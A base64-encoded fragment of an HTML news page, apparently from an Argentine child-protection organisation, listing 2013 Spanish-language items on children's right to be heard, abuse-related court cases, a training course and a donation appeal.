kZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIG